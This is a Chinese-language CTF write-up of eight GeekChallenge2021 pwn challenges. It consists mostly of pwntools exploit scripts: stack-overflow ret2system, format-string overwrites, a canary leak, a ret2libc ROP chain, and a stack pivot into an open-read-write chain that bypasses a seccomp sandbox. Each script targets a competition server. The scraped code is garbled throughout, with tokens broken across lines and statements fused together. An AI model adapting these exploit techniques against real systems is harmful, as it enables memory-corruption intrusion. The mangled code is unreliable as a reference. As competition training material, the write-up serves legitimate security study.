生活随笔
收集整理的這篇文章主要介紹了
PWN-COMPETITION-GeekChallenge2021
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
PWN-COMPETITION-GeekChallenge2021
- check in
- 戀愛小游戲
- ret2xxone
- 戀愛小游戲2.0
- easyfmt
- easycanary
- ret2baby
- pwn777
check in
66s內解答200道四則運算的題目即可getshell
參與運算的數和運算符都會打印,直接寫腳本即可
from pwn
import *
context
.log_level
="debug"
io
=remote
("123.57.230.48",12343)
elf
=ELF
("./math")for i
in range(200):io
.recvuntil
("num1:")num1
=int(io
.recvuntil
("\n")[:-1])io
.recvuntil
("num2:")num2
=int(io
.recvuntil
("\n")[:-1])io
.recvuntil
("this calculation is ")sign
=io
.recvuntil
("\n")[:-1]ans
=0if sign
=="+":ans
=num1
+num2
elif sign
=="-":ans
=num1
-num2
elif sign
=="*":ans
=num1
*num2
else:ans
=num1
/num2io
.sendlineafter
("your answer!!:\n",str(ans
))io
.interactive
()
戀愛小游戲
棧溢出覆寫棧上變量的值使滿足if即可getshell,可直接在命令行輸入payload
ret2xxone
Geek函數中存在棧溢出漏洞,前提是先輸入一個數和程序產生的隨機數相同
由于程序沒有通過srand()函數設置隨機數種子,所以每次運行程序時,程序產生的隨機數都是相同的,可以通過調試得到
在0x0804860C處下斷點,程序調用rand()后,返回值EAX即為程序產生的隨機數,這里為0x6b8b4567
之后就是利用棧溢出getshell
from pwn
import *
io
=process
("./ret2xx")
elf
=ELF
("./ret2xx")
system_plt
=elf
.plt
["system"]
binsh
=0x080486D0io
.recvuntil
("to solve it!\n")
num
=0x6b8b4567
io
.send
(p32
(num
))payload
="a"*(0x1A+4)+p32
(system_plt
)+p32
(0xdeadbeef)+p32
(binsh
)
io
.send
(payload
)io
.interactive
()
戀愛小游戲2.0
棧溢出,原理和1.0一樣,注意在命令行輸入payload后不能用回車,要用Ctrl+D來結束輸入
或者寫腳本,payload最后設為"\x00"即可
from pwn
import *
io
=remote
("47.242.20.238",10000)
payload
="a"*24+"loveyou\x00"
io
.send
(payload
)
io
.interactive
()
easyfmt
格式化字符串漏洞,第一次覆寫棧上變量的值,第二次覆寫返回地址
backdoor關閉了標準輸出流,使用exec實現重定位,再cat flag即可
from pwn
import *
io
=remote
("123.57.230.48",12342)
elf
=ELF
("./format_string")
io
.recvuntil
("First step:\n0x")
v3_addr
=int(io
.recvuntil
("\n")[:-1],16)
print("v3_addr=="+hex(v3_addr
))payload
=p32
(v3_addr
)+"%8c%15$hn"
io
.send
(payload
)backdoor
=0x0804874D
ebp_sub_8
=v3_addr
+0x10
io
.recvuntil
("you enter there\n")
payload
=p32
(ebp_sub_8
)+"%"+str(backdoor
&0xff-4)+"c%7$hhn"
print(len(payload
))
io
.sendline
(payload
)io
.sendline
("exec 1>&2")
io
.sendline
("cat flag")
io
.interactive
()
easycanary
格式化字符串泄露canary,read利用棧溢出覆寫返回地址getshell
from pwn
import *
io
=remote
("123.57.230.48",12344)
elf
=ELF
("./stackguard1")
payload
="%11$p"
io
.sendline
(payload
)
io
.recvuntil
("0x")
canary
=int(io
.recv
(16),16)
print("canary=="+hex(canary
))backdoor
=0x4011D6
payload
="a"*(0x30-8)+p64
(canary
)+"b"*8+p64
(backdoor
)
io
.sendline
(payload
)io
.interactive
()
ret2baby
main函數中說有兩次機會,其實一次就可以getshell了
input函數中要求輸入一個position,范圍為[0,20],將這個position傳入game函數中
對game函數的分析標注在注釋中
當game函數第32行的if語句成立時,可以造成棧溢出,腳本如下
from pwn
import *
context
.log_level
="debug"
io
=remote
("123.57.230.48",12346)
elf
=ELF
("./ret2")binsh
=0x4014d4
pop_rdi
=0x401273
ret
=0x400318io
.recvuntil
("please input your position\n")
io
.sendline
("20")io
.recvuntil
("plz input your value\n")
io
.sendline
("0")io
.recvuntil
("this is a gitf 0x")
system
=int(io
.recv
(12),16)
print("system=="+hex(system
))payload
="a"*(0x12+8)+p64
(pop_rdi
)+p64
(binsh
)+p64
(ret
)+p64
(system
)io
.sendline
(payload
)io
.interactive
()
pwn777
此題開了沙箱,ban了execve系統調用,于是考慮orw
game函數中利用棧溢出覆寫隨機數種子為0,繞過隨機檢測
fmt()函數中存在bss段上的格式化字符串漏洞,參考:bss上的格式化字符串漏洞
此題除了game函數中存在棧溢出,其它函數中都不存在可實現rop的條件,要想實現orw還需要棧遷移
from pwn
import *
context
.arch
="amd64"
io
=remote
("47.242.20.238",7777)
elf
=ELF
("./pwn01")
libc
=ELF
("./libc-2.23.so")
io
.recvuntil
("input your name\n")
name
="a"*16+p64
(0)+p32
(0)
io
.send
(name
)num
=[1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421]
for i
in range(10):io
.recvuntil
("input your number:")io
.sendline
(str(num
[i
]))io
.recvuntil
("try your best!\n")
payload
="%6$p.%7$p.%13$p"
io
.sendline
(payload
)
io
.recvuntil
("0x")
stack_addr
=int(io
.recvuntil
(".")[:-1],16)
print("stack_addr=="+hex(stack_addr
))
io
.recvuntil
("0x")
proc_base
=int(io
.recvuntil
(".")[:-1],16)-0x166F
print("proc_base=="+hex(proc_base
))
io
.recvuntil
("0x")
libc_base
=int(io
.recv
(12),16)-240-libc
.sym
["__libc_start_main"]
print("libc_base=="+hex(libc_base
))
buf_addr
=proc_base
+0x4060
print("buf_addr=="+hex(buf_addr
))
rip
=stack_addr
+0x8
rip_0_2
=rip
&0xff
print("rip_0_2=="+hex(rip_0_2
))
payload
="%"+str(rip_0_2
)+"c%6$hhn"
io
.sendline
(payload
)leave_ret
=proc_base
+0x1676
print("leave_ret=="+hex(leave_ret
))
ret
=leave_ret
&0xff
print("ret=="+hex(ret
))
payload
="%"+str(ret
)+"c%10$hhn"
io
.sendline
(payload
)
fake_rbp
=buf_addr
+0x10
print("fake_rbp=="+hex(fake_rbp
))buf_addr_0_4
=(fake_rbp
)&0xffff
print("buf_addr_0_4=="+hex(buf_addr_0_4
))
payload
="%"+str(buf_addr_0_4
)+"c%6$hn"
io
.sendline
(payload
)
stack_addr_add_2
=stack_addr
+0x2
print("stack_addr_add_2=="+hex(stack_addr_add_2
))
stack_addr_add_2
=stack_addr_add_2
&0xffff
payload
="%"+str(stack_addr_add_2
)+"c%15$hn"
io
.sendline
(payload
)buf_addr_4_8
=(fake_rbp
>>16)&0xffff
print("buf_addr_4_8=="+hex(buf_addr_4_8
))
payload
="%"+str(buf_addr_4_8
)+"c%41$hn"
io
.sendline
(payload
)stack_addr_add_4
=stack_addr
+0x4
print("stack_addr_add_4=="+hex(stack_addr_add_4
))
stack_addr_add_4
=stack_addr_add_4
&0xffff
payload
="%"+str(stack_addr_add_4
)+"c%15$hn"
io
.sendline
(payload
)buf_addr_8_12
=(fake_rbp
>>32)&0xffff
print("buf_addr_8_12=="+hex(buf_addr_8_12
))
payload
="%"+str(buf_addr_8_12
)+"c%41$hn"
io
.sendline
(payload
)
bss
=proc_base
+0x4020
syscall
= libc_base
+0x1015D7
pop_rax_ret
= libc_base
+libc
.search
(asm
("pop rax; ret")).next()
pop_rdi_ret
= libc_base
+libc
.search
(asm
("pop rdi; ret")).next()
pop_rsi_ret
= libc_base
+libc
.search
(asm
("pop rsi; ret")).next()
pop_rdx_ret
= libc_base
+libc
.search
(asm
("pop rdx; ret")).next()payload
="jiaraniloveyou~\x00"
payload
+="./flag".ljust
(8,"\x00")
payload
+=p64
(pop_rdi_ret
)+p64
(buf_addr
+0x10)+p64
(pop_rsi_ret
)+p64
(0)+p64
(pop_rax_ret
)+p64
(2)+p64
(syscall
)
payload
+=p64
(pop_rdi_ret
)+p64
(3)+p64
(pop_rsi_ret
)+p64
(bss
)+p64
(pop_rdx_ret
)+p64
(0x30)+p64
(pop_rax_ret
)+p64
(0)+p64
(syscall
)
payload
+=p64
(pop_rdi_ret
)+p64
(1)+p64
(pop_rsi_ret
)+p64
(bss
)+p64
(pop_rdx_ret
)+p64
(0x30)+p64
(pop_rax_ret
)+p64
(1)+p64
(syscall
)
io
.sendline
(payload
)io
.interactive
()
總結
以上是生活随笔為你收集整理的PWN-COMPETITION-GeekChallenge2021的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。